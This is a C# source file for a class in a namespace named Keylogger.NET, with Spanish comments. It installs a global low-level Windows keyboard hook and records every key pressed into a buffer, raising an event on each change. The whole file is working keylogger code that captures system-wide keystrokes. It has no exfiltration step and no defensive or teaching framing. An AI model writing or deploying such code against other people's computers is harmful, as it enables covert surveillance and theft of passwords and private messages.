using System;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
namespace Keylogger.NET
{
public class KeyboardHook
{
// Constantes
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const int WM_SYSKEYDOWN = 0x0104;
private LowLevelKeyboardProc _proc = null;
private IntPtr _hookID = IntPtr.Zero;
private bool _isHooked = false;
private static KeyboardHook _instance = null;
private string _buffer = string.Empty;
// Evento que se disparará al modificar el buffer
public event EventHandler BufferChanged;
// DLLImports
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
/// <summary>
/// Constructor
/// </summary>
protected KeyboardHook()
{
_proc = HookCallback;
}
/// <summary>
/// Devuelve una instancia de la clase KeyboardHook
/// </summary>
/// <returns>asd</returns>
public static KeyboardHook GetInstance()
{
if (_instance == null)
_instance = new KeyboardHook();
return _instance;
}
/// <summary>
/// Activa la detección de las pulsaciones
/// </summary>
public void Hook()
{
_hookID = SetHook(_proc);
_isHooked = true;
}
/// <summary>
/// Desactiva la detección de las pulsaciones
/// </summary>
public void UnHook()
{
UnhookWindowsHookEx(_hookID);
_isHooked = false;
}
/// <summary>
/// Indica si la detección esta activa
/// </summary>
public bool IsHooked
{
get { return _isHooked; }
}
/// <summary>
/// Resúmen de las teclas pulsadas
/// </summary>
public string Buffer
{
get { return _buffer; }
}
/// <summary>
/// Evento que se dispara al hacer un cambio en el buffer
/// </summary>
/// <param name="e"></param>
protected virtual void OnBufferChanged(EventArgs e)
{
BufferChanged(this, e);
}
/// <summary>
/// Función que agrega la tecla pulsada al buffer
/// </summary>
/// <param name="key">Tecla pulsada</param>
private void AppendBuffer(Keys key)
{
_buffer += key + ", ";
// Se ejecuta el evento ya que se modificó el buffer
OnBufferChanged(new EventArgs());
}
private IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN))
{
int vkCode = Marshal.ReadInt32(lParam);
AppendBuffer((Keys)vkCode);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
}
}
